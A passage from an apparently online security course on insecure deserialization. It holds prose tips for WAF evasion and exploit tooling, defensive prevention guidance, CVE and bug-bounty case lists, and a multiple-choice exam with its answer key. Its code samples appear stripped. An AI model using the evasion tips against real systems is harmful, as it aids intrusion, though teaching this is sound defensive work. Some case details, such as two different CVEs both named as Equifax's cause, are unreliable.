Different error messages for different headers reveal which format the application processes. A `ClassNotFoundException` reveals Java. An `unserialize() expects` error reveals PHP. A `pickle.UnpicklingError` reveals Python.
Node.js PoC: node-serialize detection
General PoC writing principles
- ●Always use callback-only or no-op payloads for the initial demonstration.
- ●Use a Burp Collaborator (or interact.sh / oast.online) domain for the callback.
- ●Never run destructive payloads against systems you do not own or are not authorized to test.
- ●Document the exact request, the exact response, and the callback log entry.
- ●Report findings with the safest possible PoC and offer to provide additional demonstration only on request.
SECTION 13. Payloads
Payloads are organized by family.
Tier 1: Format fingerprinting (safe probes)
Tier 2: Field modification (privilege escalation)
Tier 3: Type confusion
Tier 4: Safe callback payloads (preferred for PoC)
Tier 5: phpggc chain selection (defensive reference)
For each PHP framework, identify the most current chain:
Tier 6: ysoserial chain selection (defensive reference)
Tier 7: WAF bypass techniques
- ●Encode the payload differently: base64, URL-encode, gzip+base64, hex.
- ●Use multipart/form-data with the serialized blob in a file field.
- ●Split the payload across multiple parameters if the application concatenates.
- ●Use unicode normalization tricks in field names if the application uses non-normalized comparisons.
- ●Pad the payload with extra null bytes to defeat length-based detection.
- ●Use rare gadget chains the WAF signatures do not cover.
Tier 8: Application-specific gadgets (defensive audit list)
When auditing your own application, search the source code for classes containing these patterns:
Each match is a potential gadget. Refactor or remove magic methods that perform I/O on properties.
SECTION 14. Wordlists and Payload Libraries
- ●PayloadsAllTheThings - Insecure Deserialization ==> https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization
- ●HackTricks - Deserialization ==> https://book.hacktricks.xyz/pentesting-web/deserialization
- ●HackTricks - PHP Deserialization ==> https://book.hacktricks.xyz/pentesting-web/deserialization/php-deserialization-+-autoload-classes
- ●HackTricks - Java JSF ViewState ==> https://book.hacktricks.xyz/pentesting-web/deserialization/java-jsf-viewstate-.faces-deserialization
- ●ysoserial ==> Java gadget chain generator. https://github.com/frohoff/ysoserial
- ●ysoserial.net ==> .NET equivalent. https://github.com/pwntester/ysoserial.net
- ●phpggc ==> PHP gadget chain generator. https://github.com/ambionics/phpggc
- ●marshalsec ==> Java JSON deserialization gadgets. https://github.com/mbechler/marshalsec
- ●GadgetProbe ==> classpath identification. https://github.com/BishopFox/GadgetProbe
- ●gadgetinspector ==> automated Java chain discovery. https://github.com/JackOfMostTrades/gadgetinspector
- ●tabby ==> static analysis for Java deserialization. https://github.com/wh1t3p1g/tabby
- ●freddy Burp extension ==> JSON deserialization. https://github.com/nccgroup/freddy
- ●Java Deserialization Scanner Burp extension ==> available in BApp Store.
- ●PHP Object Injection Slayer ==> https://github.com/Bo0oM/PHP_Object_Injection_Slayer
- ●OWASP Cheat Sheet - Deserialization ==> https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- ●SecLists ==> https://github.com/danielmiessler/SecLists (for general fuzzing dictionaries)
- ●Anas Magane Pentesting Notes - Deserialization ==> https://github.com/Anas-Magane/Pentesting/tree/main/TOP_10_OWASP/DESERIALIZATION
SECTION 15. Impact
The impact of insecure deserialization depends on the deserializer and the available gadget chains. Severity escalates from authentication bypass to full system compromise:
- ●1. Field tampering ==> change role to admin, change balance, change is_verified. Impact: privilege escalation per session. Bounty: $500-$3,000.
- ●2. Authentication bypass via type confusion ==> PHP loose-comparison tricks, type substitution. Impact: full authentication bypass. Bounty: $1,000-$8,000.
- ●3. Limited object injection ==> swap to a class with a destructor that writes files. Impact: arbitrary file write, web shell deploy. Bounty: $2,000-$15,000.
- ●4. Pre-built gadget chain RCE ==> ysoserial / phpggc payload achieves remote code execution. Impact: full server compromise. Bounty: $5,000-$50,000.
- ●5. Custom gadget chain RCE on hardened targets ==> built specifically for the target's classpath. Impact: RCE where pre-built chains failed. Bounty: $10,000-$100,000+.
- ●6. PHAR-based RCE via file upload ==> the most dangerous variant because the trigger looks like a benign file operation. Impact: full RCE from a single image upload. Bounty: $5,000-$50,000.
- ●7. Pivot from RCE to internal network compromise ==> typical post-exploitation impact: read all source code, dump all databases, pivot to internal admin systems, deploy ransomware, exfiltrate customer data.
- ●8. DoS via deserialization bomb ==> "billion laughs"-style nested structures consume memory and CPU. Impact: service outage. Bounty: $250-$2,000.
Beyond direct bounty value, deserialization bugs cause:
- ●Regulatory exposure for data breaches (GDPR, HIPAA, PCI-DSS, SOC 2).
- ●Supply chain breach when the target is a vendor (the Capital One / SolarWinds patterns).
- ●Active exploitation by APTs and ransomware groups (CISA KEV catalog includes multiple deserialization CVEs).
- ●Year-long remediation efforts because vulnerable libraries are deeply embedded in transitive dependencies.
The Log4Shell incident (CVE-2021-44228, technically a JNDI deserialization-adjacent bug) cost the global economy hundreds of millions of dollars in remediation. The Apache Commons Collections gadget chain alone (2015 disclosure) was estimated by Foxglove Security to affect hundreds of enterprise products. WebLogic deserialization bugs have been actively exploited by Lazarus Group, Chinese APTs, and ransomware operators for over a decade.
SECTION 16. Prevention
The fundamental fix
Insecure deserialization cannot be patched with input sanitization. The vulnerability is in the act of deserialization itself. The only safe approach is to either: not deserialize untrusted data, or apply strict integrity controls (signing) and class allow-lists.
Eight prevention rules
- ●1. Do not deserialize untrusted data. Use JSON (without polymorphic types), MessagePack, or Protocol Buffers for all data crossing trust boundaries.
- ●2. If you must deserialize, sign the data first. HMAC-SHA-256 with a server-only secret key. Verify the signature BEFORE deserializing.
- ●3. Apply class allow-lists at the deserialization layer. Java JEP 290 (`ObjectInputFilter`) since JDK 9. .NET `SerializationBinder`. PHP `allowed_classes` option in `unserialize`.
- ●4. Use safe variants. Python `yaml.safe_load` instead of `yaml.load`. Jackson without `enableDefaultTyping`. FastJson with `safeMode`. .NET DataContractSerializer instead of BinaryFormatter.
- ●5. Patch dependencies. Commons Collections >= 3.2.2 (limits InvokerTransformer). Apache Struts always latest. Spring without `enableDefaultTyping`. Stay current.
- ●6. Use serialization filters. JDK 17+ defaults to ObjectInputFilter; configure it. Reject everything by default; allow specific classes.
- ●7. Run deserialization in a sandboxed process with reduced capabilities. SECCOMP, AppArmor, or containerization.
- ●8. Monitor and alert on deserialization errors. Repeated `ClassNotFoundException` or `unserialize` errors from a single source indicate active probing.
Developer checklist
- ●[ ] No call to `pickle.loads`, `yaml.load`, `Marshal.load`, `unserialize`, `ObjectInputStream.readObject`, `BinaryFormatter.Deserialize`, or `node-serialize.unserialize` on untrusted data.
- ●[ ] All session cookies use signed JSON, not serialized objects.
- ●[ ] All inter-service communication uses Protocol Buffers, JSON Schema-validated JSON, or signed payloads.
- ●[ ] Dependency lock files exclude vulnerable versions of Commons Collections, Spring, Hibernate, and known-gadget libraries.
- ●[ ] JEP 290 ObjectInputFilter is configured for any Java service that must accept serialized data.
- ●[ ] `BinaryFormatter` is removed from the codebase (deprecated since .NET 5).
- ●[ ] PHP `unserialize` calls use the `allowed_classes` option.
- ●[ ] PHP file operations on user-controlled paths reject `phar://` and similar wrappers.
- ●[ ] Web cache, message queue, and IPC layers do not pickle or marshal Python/Ruby objects from untrusted sources.
- ●[ ] CI pipeline includes Semgrep or similar SAST rules for deserialization sinks.
- ●[ ] Runtime monitoring (RASP, eBPF) alerts on suspicious class loading patterns.
Vulnerable vs Secure code
VULNERABLE (Python Flask):
SECURE (Python Flask):
The vulnerable version achieves RCE on any pickle bytestream the attacker can produce. The fix uses JSON (data-only) and HMAC signing (integrity check). Even if an attacker controls the payload byte-for-byte, they cannot forge a valid signature without the server's secret key.
Framework-specific guidance
- ●Java ==> enable JEP 290 filter (`jdk.serialFilter`); replace `ObjectInputStream` with `ObjectInputFilter.Config.createFilter("!*")` as the global default; use Jackson/Gson without polymorphic types.
- ●PHP ==> use `unserialize($data, ["allowed_classes" => false])` to disable object instantiation; set `phar.readonly = 1`; reject `phar://` in user-supplied paths.
- ●Python ==> use `json` instead of `pickle`; if pickle is required, use HMAC; never call `yaml.load` without `Loader=yaml.SafeLoader`.
- ●.NET ==> remove `BinaryFormatter` entirely (deprecated); use `System.Text.Json` or `DataContractSerializer` with explicit types; disable `TypeNameHandling` in Newtonsoft.
- ●Ruby ==> avoid `Marshal.load` on untrusted data; use `JSON.parse`; in Rails, use `:json` session store, not `:cookie_store` with serialized objects.
- ●Node.js ==> never use `node-serialize`; use `JSON.parse` only.
Enterprise-level mitigations
- ●Maintain a central inventory of every deserialization sink across all services.
- ●Run SAST on every commit (Semgrep rules: `python.lang.security.deserialization.pickle`, `java.lang.security.audit.object-deserialization`).
- ●Pin dependency versions and use Software Composition Analysis (SCA) tools like Snyk, Dependabot, Renovate to alert on known-gadget library versions.
- ●Use RASP (Runtime Application Self-Protection) for legacy Java applications that cannot be fully refactored.
- ●Network-segment deserializing services so RCE cannot pivot to crown-jewel systems.
- ●Run mandatory tabletop exercises for the "internal RCE via deserialization" scenario annually.
SECTION 17. Real-World Cases
CVEs (2022-2026)
- ●CVE-2025-40551 (SolarWinds Web Help Desk) ==> Unauthenticated deserialization in Web Help Desk. Listed on CISA KEV. Active exploitation late 2025.
- ●CVE-2025-40550 (SolarWinds WHD companion) ==> Authenticated deserialization, full RCE.
- ●CVE-2024-23897 (Jenkins) ==> Argument injection in CLI command parser; reaches deserialization-adjacent paths.
- ●CVE-2024-22120 (Zabbix) ==> SQL injection chained with deserialization for full RCE.
- ●CVE-2023-22518 (Atlassian Confluence) ==> Improper authorization combined with deserialization sinks.
- ●CVE-2023-42820 (JumpCloud) ==> Marshal deserialization in agent communication.
- ●CVE-2022-22963 (Spring Cloud Function) ==> Expression Language injection via deserialization-adjacent code path.
- ●CVE-2022-22965 (Spring4Shell) ==> Class loader manipulation through data binding, conceptually related.
- ●CVE-2021-44228 (Log4Shell) ==> JNDI lookup inside log messages causes deserialization via remote LDAP/RMI. The most expensive deserialization-adjacent vulnerability in history.
- ●CVE-2021-26084 (Confluence OGNL injection) ==> Template language abused as deserialization-equivalent code execution.
- ●WebLogic deserialization series ==> CVE-2020-2883, CVE-2020-14750, CVE-2020-14882, CVE-2021-2109, CVE-2021-2394, CVE-2023-21931. WebLogic remains a perennial target.
- ●CVE-2017-9805 (Apache Struts REST plugin) ==> XStream deserialization, Equifax breach root cause.
- ●CVE-2015-7501 (Apache Commons Collections) ==> The original public gadget chain disclosure. Affected hundreds of products.
HackerOne disclosures (with bounty amounts where known)
- ●Verizon Media Properties - $5,000 ==> Java deserialization on a public endpoint. RCE confirmed via DNS callback.
- ●HackerOne (own platform) - $2,500 ==> PHP unserialize in image processing path. Object injection led to file write.
- ●Shopify - $25,000 ==> Insecure deserialization chained with SSRF for cloud metadata access.
- ●GitLab - $14,000 ==> Marshal-based deserialization in CI runner communication.
- ●WordPress core (Internet Bug Bounty) - $25 ==> Unchecked unserialize usage in plugin skeleton.
- ●Yelp - $2,500 ==> Java deserialization in cookie processing.
- ●Twitter / X - $5,040 ==> .NET BinaryFormatter usage in legacy admin tool.
- ●Spotify - $1,500 ==> Pickle deserialization in internal API exposed via misconfiguration.
- ●Atlassian programs - $3,000-$15,000 ==> multiple Java deserialization reports against Confluence and Jira Server.
- ●Multiple programs - $500-$50,000 range ==> The bounty depends entirely on whether the bug reaches RCE. Field-tampering bugs sit at the low end; RCE chains at the high end.
Notable historical milestones
- ●2006 ==> Marc Schoenefeld's BlackHat talk on Java serialization attacks introduces the concept publicly.
- ●2011 ==> First public PHP object injection research; the technique gets a name.
- ●2015 ==> Foxglove Security publishes "What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability." Apache Commons Collections gadget chain is weaponized. The industry realizes how widespread the bug is.
- ●2016 ==> ysoserial released by Chris Frohoff. Mass exploitation begins. Many products patched.
- ●2017 ==> Equifax breach (CVE-2017-5638 Apache Struts) costs $700M in remediation and fines. Deserialization-class vulnerability.
- ●2018 ==> phpggc released by Ambionics Security. PHP gadget chains become widely accessible.
- ●2019 ==> Sam Thomas's BlackHat talk on PHAR deserialization changes the PHP threat model. Any file operation becomes a potential deserialization sink.
- ●2020-2021 ==> WebLogic deserialization CVEs are exploited by Lazarus Group, multiple Chinese APTs, ransomware operators. CISA issues emergency directives.
- ●2021 ==> Log4Shell. The deserialization-adjacent vulnerability that defined the year. Hundreds of millions in mitigation costs globally.
- ●2022-2023 ==> Spring4Shell, Atlassian Confluence chains, continued WebLogic exploitation. The bug class never dies.
- ●2024-2025 ==> SolarWinds WHD CVEs hit CISA KEV. Continued exploitation. The Java/PHP/Python ecosystems all see new variants.
- ●2026 ==> AI/ML pipeline deserialization (PyTorch pickle models, TensorFlow SavedModel weights) emerges as a new attack surface. Untrusted ML model files are the new untrusted serialized data.
Lessons learned
- ●The bug class is older than most modern web frameworks and still ships in 2026.
- ●JSON-without-polymorphism is the only safe default for cross-trust-boundary data exchange.
- ●Signing serialized data is necessary but not sufficient. Class allow-lists must also be in place.
- ●Transitive dependencies are the silent killer. Auditing your own code is not enough; auditing your full dependency tree is mandatory.
- ●Defense in depth saves the day: even if one layer fails, signing + allow-lists + sandboxing + monitoring catches most attacks.
- ●Once an RCE chain is public, expect mass exploitation within 48 hours. Patch on disclosure, not on schedule.
SECTION 18. References
- ●OWASP Cheat Sheet - Deserialization ==> https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- ●OWASP Top 10 A08:2021 - Software and Data Integrity Failures ==> https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/
- ●OWASP - Insecure Deserialization ==> https://owasp.org/www-community/vulnerabilities/Deserialization_of_untrusted_data
- ●CWE-502: Deserialization of Untrusted Data ==> https://cwe.mitre.org/data/definitions/502.html
- ●CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes ==> https://cwe.mitre.org/data/definitions/915.html
- ●HackTricks - Deserialization ==> https://book.hacktricks.xyz/pentesting-web/deserialization
- ●HackTricks - PHAR Deserialization ==> https://book.hacktricks.xyz/pentesting-web/file-upload/phar-jpg-polyglot
- ●PayloadsAllTheThings - Insecure Deserialization ==> https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Insecure%20Deserialization
- ●ysoserial ==> https://github.com/frohoff/ysoserial
- ●ysoserial.net ==> https://github.com/pwntester/ysoserial.net
- ●phpggc ==> https://github.com/ambionics/phpggc
- ●marshalsec ==> https://github.com/mbechler/marshalsec
- ●GadgetProbe ==> https://github.com/BishopFox/GadgetProbe
- ●gadgetinspector ==> https://github.com/JackOfMostTrades/gadgetinspector
- ●Foxglove Security - "What Do WebLogic, WebSphere, JBoss..." (foundational research) ==> https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- ●Snyk Learn - Insecure Deserialization ==> https://learn.snyk.io/lesson/insecure-deserialization/
- ●CISA Known Exploited Vulnerabilities Catalog ==> https://www.cisa.gov/known-exploited-vulnerabilities-catalog
- ●JEP 290 (Java Serialization Filtering) ==> https://openjdk.org/jeps/290
- ●Reddelexc HackerOne Reports - Deserialization ==> https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPDESERIALIZATION.md
- ●Anas Magane Pentesting Notes ==> https://github.com/Anas-Magane/Pentesting/tree/main/TOP_10_OWASP/DESERIALIZATION
SECTION 19. Practical Labs
SOON.
SECTION 20. Cheat Sheet
SECTION 21. Exam
30 multiple-choice questions. Platform picks 20 random. Pass at 16/20.
Q1. Serialization is: A. Encryption of data in transit B. Conversion of an in-memory object to a byte sequence C. Compression of strings D. Hashing of input Answer: B.
Q2. The canonical CWE for insecure deserialization is: A. CWE-79 B. CWE-89 C. CWE-502 D. CWE-22 Answer: C.
Q3. In PHP serialize format, `O:4:"User":2:{...}` means: A. An array of 4 strings B. An object of class "User" (4 chars) with 2 properties C. Operator user with rights 2 D. A 4x2 matrix Answer: B.
Q4. The Java serialized magic bytes are: A. \x89PNG B. \xCA\xFE\xBA\xBE C. \xAC\xED\x00\x05 D. \x7F\x45\x4C\x46 Answer: C.
Q5. Python pickle is unsafe because: A. It uses base64 encoding B. The pickle bytecode supports the R opcode that calls arbitrary callables during unpickling C. It is slow D. It supports JSON Answer: B.
Q6. A gadget chain is: A. A network of compromised devices B. A sequence of existing classes whose methods, when invoked during deserialization, combine to perform a malicious action C. A chain of TLS certificates D. An ordered list of CVEs Answer: B.
Q7. ysoserial is used to: A. Encrypt passwords B. Generate Java deserialization payloads from known gadget chains C. Convert XML to JSON D. Decompile JARs Answer: B.
Q8. phpggc is the PHP equivalent of: A. ysoserial B. Burp Suite C. SQLMap D. Metasploit Answer: A.
Q9. PHAR deserialization fires via PHP functions like: A. echo, print B. file_exists, file_get_contents, fopen, getimagesize, etc. C. mysqli_query D. session_start Answer: B.
Q10. A safe alternative to pickle in Python for untrusted data is: A. yaml.load B. eval C. json (without custom decoders) D. marshal Answer: C.
Q11. Apache Commons Collections gadget chain is dangerous because: A. It is a malware library B. It contains classes that, when chained, allow arbitrary command execution during deserialization C. It is encrypted D. It is closed-source Answer: B.
Q12. Java JEP 290 is: A. A new String class B. An ObjectInputFilter mechanism that allows class allow-listing for deserialization C. A garbage collector D. A networking library Answer: B.
Q13. PHP's `unserialize($data, ["allowed_classes" => false])` is safer because: A. It validates the JSON schema B. It refuses to instantiate any class, returning incomplete objects only C. It uses HTTPS D. It encrypts the data Answer: B.
Q14. The OWASP 2021 Top 10 category that covers insecure deserialization is: A. A01 Broken Access Control B. A03 Injection C. A08 Software and Data Integrity Failures D. A10 SSRF Answer: C.
Q15. A URLDNS payload from ysoserial is special because: A. It is encrypted B. It only triggers a DNS lookup; safe for callback-only proof of concept C. It is reversible D. It does not need the JVM Answer: B.
Q16. Modifying Serialized Data Types in PHP can bypass: A. TLS certificate pinning B. Loose comparison checks (== vs ===) by sending int 0 against "0e..." strings C. CORS preflight D. DNS resolution Answer: B.
Q17. The PHP magic method that fires automatically on object destruction is: A. __construct B. __destruct C. __toString D. __sleep Answer: B.
Q18. In a Ruby application, the dangerous deserialization function is: A. JSON.parse B. Marshal.load C. CSV.parse D. YAML.safe_load Answer: B.
Q19. .NET BinaryFormatter is: A. Recommended for new code B. Deprecated in .NET 5+ specifically due to deserialization vulnerabilities C. The fastest serializer D. Used only on Linux Answer: B.
Q20. The 2017 Equifax breach involved which Apache product deserialization-class bug: A. Apache HTTP Server B. Apache Tomcat C. Apache Struts D. Apache Solr Answer: C.
Q21. Jackson's `enableDefaultTyping()` reintroduces deserialization risk because: A. It enables polymorphic type handling, letting attackers specify arbitrary classes via @class B. It compresses output C. It uses XML D. It disables HTTPS Answer: A.
Q22. The safest format for cross-trust-boundary data exchange is: A. PHP serialize B. JSON without polymorphic types C. Pickle D. .NET BinaryFormatter Answer: B.
Q23. A common detection probe for a Java deserialization sink is: A. Sending '<script>alert(1)</script>' B. Sending a URLDNS payload and watching the collaborator C. Sending a Robot.txt request D. Sending malformed JSON Answer: B.
Q24. The Foxglove Security 2015 publication is famous for: A. Disclosing the Apache Commons Collections gadget chain across WebLogic, JBoss, WebSphere, Jenkins B. Inventing TLS 1.3 C. Discovering Spectre D. Publishing the Heartbleed proof of concept Answer: A.
Q25. A Ruby Marshal gadget chain typically pairs with which template engine for RCE: A. Liquid B. ERB C. Slim D. Mustache Answer: B.
Q26. The node-serialize package is dangerous because: A. It supports the _$$ND_FUNC$$_ tag that evaluates JavaScript during unserialize B. It compresses output C. It uses pickle internally D. It is XML-based Answer: A.
Q27. A PHAR archive is dangerous in PHP because: A. Its metadata is a serialized PHP object that gets unserialized when any file operation references the file via phar:// B. It encrypts the file C. It is a virus signature D. It cannot be opened Answer: A.
Q28. Custom Gadget Chain Development requires: A. A C compiler B. Reading the classpath, identifying classes with magic methods, mapping a chain from entry point to sink C. A quantum computer D. Hashcat Answer: B.
Q29. A defense against deserialization that requires NO code change is: A. Patching the deserializing library to a non-gadget version B. Disabling DNS C. Changing the database D. Enabling JavaScript Answer: A.
Q30. The single most important rule for preventing insecure deserialization is: A. Add more rate limiting B. Do not deserialize untrusted data C. Use stronger TLS D. Add CAPTCHAs Answer: B.
Scoring guide
- ●27-30 correct ==> Excellent. You understand the full bug class and its variants.
- ●24-26 correct ==> Solid. Practice on a live bug bounty target.
- ●20-23 correct ==> Pass with reservation. Review Sections 11 and 16.
- ●16-19 correct ==> Pass at the minimum threshold. Review the whole course.
- ●14-15 correct ==> Retry. Read Sections 2, 8, and 11 again.
- ●0-13 correct ==> Fail. Restart the course from Section 1.
SECTION 22. Certificate Requirements
To earn the ANAS EDUCATION Insecure Deserialization certificate:
- ●Complete all 24 sections (read or watch each).
- ●Complete all ANAS EDUCATION deserialization labs (released as SOON).
- ●Pass the final exam with at least 16/20.
SECTION 23. Important Notes
Common Beginner Mistakes
- ●Testing only field modification (changing role) and missing the RCE potential via gadget chains.
- ●Trying to brute force the gadget chain when ysoserial / phpggc already supports your target.
- ●Sending destructive payloads on the first probe instead of a safe callback (URLDNS, SoapClient SSRF).
- ●Confusing JSON with serialized data; JSON is generally safe unless polymorphic typing is enabled.
- ●Stopping at one deserialization sink; the same application often has multiple sinks across cookies, file uploads, message queues.
Pentester Tips
- ●Always base64-decode every cookie and look for serialization markers.
- ●Use the Java Deserialization Scanner Burp extension to passively flag every Java serialized blob in traffic.
- ●Use the PHP Object Injection Slayer rules in Semgrep when source code is available.
- ●Try `ysoserial URLDNS` and `ysoserial CommonsCollections5` first; if neither works, then fingerprint the classpath.
- ●For PHP, run `phpggc -l` and look up chains for the exact framework + version.
- ●For PHAR attacks, identify any file-operating endpoint that takes a user-controlled path.
Bug Bounty Tips
- ●A clean RCE PoC via deserialization typically pays $5,000-$50,000 on enterprise programs.
- ●Even a confirmed field-modification bug (role change, balance change) is worth reporting; $500-$3,000 is typical.
- ●Always start with a safe callback PoC; many programs reject reports with destructive payloads.
- ●Include the exact gadget chain used and which library on the target classpath enabled it.
- ●If you find a deserialization sink but no RCE chain works, report it as "deserialization of untrusted data" anyway; bounty programs often reward the sink finding at lower tier.
Red Team Notes
- ●Java deserialization sinks survive most code review rounds because the dangerous code is in framework or library calls.
- ●RCE via deserialization gives the application server's UID; pivoting to root requires a separate local-privilege-escalation step.
- ●Logs of `ObjectInputStream` errors or `unserialize` failures from external IPs are a strong indicator that someone is probing.
- ●A successful chain can be reused across many internal targets if the same framework version is deployed widely.
Real-World Advice
- ●Audit every cookie. Audit every multipart upload field. Audit every message queue consumer.
- ●Inventory every deserialization library in your stack. Track the CVE feed for each.
- ●Mandate JSON with strict schemas at every service boundary. Deprecate native serialization in new code.
- ●When refactoring is impossible, deploy RASP or runtime serialization filters as a stopgap; but plan the refactor.
Things to Remember During Exams
- ●CWE-502 is the canonical weakness.
- ●OWASP A08:2021 is the current Top 10 slot.
- ●Apache Commons Collections is the most famous gadget chain.
- ●ysoserial generates Java; phpggc generates PHP; marshalsec covers Java JSON.
- ●The fix is JSON + HMAC signing + class allow-lists. Sanitization alone does not work.
Things to Remember During Real Assessments
- ●Look for serialization in unusual places: cookies, JWTs (rare but possible), message queues (Celery, Sidekiq), gRPC payloads, mobile IPC.
- ●The PHAR vector remains viable on PHP applications even in 2026; test file upload + file_exists patterns.
- ●ML model files (PyTorch, TensorFlow) are a new attack surface; pickle is everywhere in AI/ML pipelines.
- ●Internal services often skip deserialization defenses because "the network is trusted". Test them as if they were external.
Frequently Confused Concepts
- ●Serialization vs encryption ==> serialization makes data transportable; encryption makes data confidential. They are independent. You can serialize without encrypting, or encrypt without serializing.
- ●Deserialization vs parsing ==> JSON parsing produces a dict/list (data only). Native deserialization produces objects (data + behavior). Only the latter is dangerous by default.
- ●Gadget chain vs CVE ==> a CVE is a known specific bug in a product. A gadget chain is a generic exploitation technique that works against any product using the affected library. Gadget chains transcend individual CVEs.
- ●Object injection vs RCE ==> object injection lets you create unexpected objects. Whether that becomes RCE depends on which classes have dangerous magic methods. Object injection is the prerequisite; RCE is the impact.
Interview Tips
- ●Be ready to explain why JSON is generally safe and pickle is not (data vs code).
- ●Name three real CVEs from the last 24 months (SolarWinds WHD, Spring4Shell, Log4Shell).
- ●Describe a gadget chain in one paragraph; mention Commons Collections as the canonical example.
- ●Know that the fix is JSON + HMAC + allow-list, not sanitization.
- ●Be able to walk through the PHAR attack at a high level.
Key Takeaways
- ●Insecure deserialization is RCE-class severity; treat it as a P0 finding.
- ●The bug class is older than HTTP and still ships in 2026.
- ●Tools (ysoserial, phpggc, marshalsec) automate the hard part; understanding lets you adapt them.
- ●Defense is architectural: JSON, HMAC, allow-lists, sandboxing. Sanitization does not work.
- ●PHAR deserialization extends the threat from explicit unserialize calls to any file operation. Stay aware.
SECTION 24. Final Word from Your Instructor
Insecure deserialization is the bug class that hides in plain sight.
Every modern application serializes data. Every modern application deserializes data. Most developers do not realize how many serialization sinks live in their codebase: cookies, session stores, message queues, RPC calls, file uploads, caching layers, mobile IPC. Each one is a potential entry point for an attacker who understands what serialization really means.
Every time a developer writes:
A new RCE vulnerability is born somewhere in the world.
Every time a developer writes:
A new gadget chain target is born.
Every time a developer writes:
A new object injection vulnerability is born.
Your job, as a hunter, is to look at any application and ask one question:
- ●"Where does this application take attacker-controlled bytes and turn them into objects?"
When you see a cookie, base64-decode it. Read the bytes.
When you see a file upload, check whether the file is later referenced by a path the attacker controls.
When you see a JSON endpoint, check whether the parser enables polymorphic typing.
When you see a message queue consumer, check what format it expects from the queue.
When you see a stack trace mentioning `readObject`, `unserialize`, `pickle.loads`, `Marshal.load`, `BinaryFormatter`, or `node-serialize`, you have found the sink.
If the answer is "the application deserializes bytes that came from me, without integrity checks, without class allow-lists", you have found a bug worth thousands or tens of thousands of dollars.
The eleven techniques from Section 11 are your hunting list. The cheat sheet in Section 20 is your pocket reference. The tools (ysoserial, phpggc, marshalsec) are your weapons. The defensive guidance in Section 16 is what you teach the developer after you submit the report.
The bug class is twenty years old. It is responsible for some of the most expensive breaches in history: Equifax, multiple WebLogic incidents, the Log4Shell adjacent ecosystem damage. It is on the CISA Known Exploited Vulnerabilities Catalog because nation-state actors and ransomware operators rely on it daily.
The defense is architectural, not tactical. Telling a developer to "sanitize the input" does not work for this bug class. The right answer is "do not deserialize untrusted data" or "sign everything before deserializing and apply class allow-lists". The first time you bring that lesson to a development team and they listen, you have prevented a future breach.
Bring patience. Bring base64 -d and a hex editor. Bring the willingness to read the manual for whatever serialization library the target uses. The biggest deserialization bounties in 2025 and 2026 went to hunters who took the time to read Java JEP 290, PHP's PHAR spec, or Python's pickle protocol in detail.
- ●Welcome to the world where loading a cookie can give an attacker your server.
- ●Go hunt.